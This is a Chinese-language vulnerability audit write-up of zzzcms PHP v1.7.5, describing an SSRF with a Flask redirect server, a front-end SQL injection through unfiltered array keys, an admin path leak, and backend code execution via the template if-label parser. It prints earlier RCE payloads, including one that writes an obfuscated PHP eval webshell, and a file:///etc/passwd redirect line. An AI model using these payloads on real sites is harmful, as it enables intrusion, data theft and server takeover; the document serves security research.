zzzcms(php) v1.7.5 前台SQL注入及其他
0x01 前言
本文是对zzzcms php版v1.7.5进行审计的分享(勉强称之为0day),审计目标是从前台到后台再到任意代码执行。对于zzzcms的分析和审计文章也不少了,但是一些文章分析的内容和漏洞点在v1.7.5版本已经进行了修复,因此本文在此基础上进一步进行审计和分析,以挖掘更多的内容。
0x02 SSRF(凑数)
存在这个问题的接口主要功能是远程下载保存图片,但是后缀限制死了,因此远程下载webshell的目的应该是达不到了,退而求其次也可以作为SSRF利用,比如需要获取目标主机的真实IP地址的场景下。
功能实现在
plugins/ueditor/php/controller.php
传入的post参数进入safe_url函数进行处理,然后传入down_url函数。这里safe_url函数作用不大,主要是在down_url中的逻辑。
在down_url函数逻辑中根据url获取了保存的文件名和后缀,并且进行了文件名后缀的白名单限制和检测。
最后通过readfile进行远程资源获取(本地也可以,支持file协议),这里通过file_ext函数传入http://XXXX/x.php?x.jpg
得到的文件名后缀仍然是php,对问号进行了处理,因此利用SSRF达到任意地址访问需要利用301/302跳转实现,本地搭建一个提供跳转的http服务器,然后进行访问:
from flask import Flask,redirect,request
app = Flask(__name__)
@app.route('/1.txt')
def index(page_name=''):
#return redirect('file:///etc/passwd', code=301) #not work
return redirect('http://www.net.cn/static/customercare/yourip.asp', code=301)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000, debug=app.debug)
0x03 前台Sql注入
逐渐进入正题,1.7.5的一个前台注入点在之前一篇先知的文章中已经有介绍到了,是通过利用inc/zzz_client.php的ParseGlobal函数中对参数过滤不严格导致的一处注入,具体内容可以细读该文:
本文将介绍挖掘的另外一处较为隐蔽的注入点,并且构造payload过程不需要考虑任何过滤带来的影响,因为真正构成注入的用户输入部分根本没有被传入到任何过滤函数中。
注入点的入口在plugins\sms\sms_list.php文件中,
其中id参数是用户post输入的参数,并且在第7行中调用了db_delete去删除指定id的数据,进入db_delete函数后可以看到函数本身并不长,逻辑还是较为清晰的。
在获取到代表着数据库连接的\$d后开始处理传入的\$where条件变量,接着调用db_cond_to_sqladd函数后传入db_exec进行sql语句的执行过程。
这里继续看db_cond_to_sqladd函数部分,该函数代码部分比较长(70行),但只需要着重看其中几个处理分支即可。注入点传入的条件变量是数组,自然进入下面的第一个红框控制流中。接着,假如传入的参数id也是数组并且不存在key为0的元素,那么会进入第二个红框控制流中。
关键点在于第三个红框的控制流中,作为键名key的\$k1直接拼接到了条件语句中。
在代码中加入sql语句回显进行测试,当我们传入如下post的id后,返回的sql语句如下所示,已经形成可以利用的SQL注入点了:
利用BENCHMARK函数可以直接构造exp利用时间盲注得到数据库信息。
0x04 后台地址泄露
存在一个比较奇葩的文件直接将一些属于不可访问的zzz_config.php的内容直接给回显了,该信息泄露文件位于plugins\webuploader\js\webconfig.php,可以直接获取到管理后台的管理路径名称,再也不用去爆破admin加3位数字了
0x05 后台RCE
后台RCE部分参考了v1.7.3版本的CVE-2019-17408和文章
漏洞数据流动和触发函数主要是parserIfLabel,具体可以参考文章内容,该部分在v1.7.5中尝试进行了修补和过滤,但是仍然存在过滤不严格的情况。之前的利用payload主要有:
1、{if:assert($_request[phpinfo()])}phpinfo();{end if}
2、{if:1=1);file_put_contents(strtr("1.p*p", "*", "h"),strtr('<?*h* ', "*", "p").strtr('ev*l(', "*", "a").hex2bin('24').strtr('_P*ST[1]);', "*", "O"));//} {end if}
但是在v1.7.5版本中加入了更多的过滤,因此旧的payload已经失效
黑名单的方法总是存在一些纰漏的,这里也不例外,笔者在这里就不直接点明了(配合前面漏洞,通杀警告),感兴趣的朋友可以对照黑名单再尝试一下绕过。
0x06 相关文章
https://xz.aliyun.com/t/7239
https://xz.aliyun.com/t/6942
https://xz.aliyun.com/t/6916
https://xz.aliyun.com/t/4471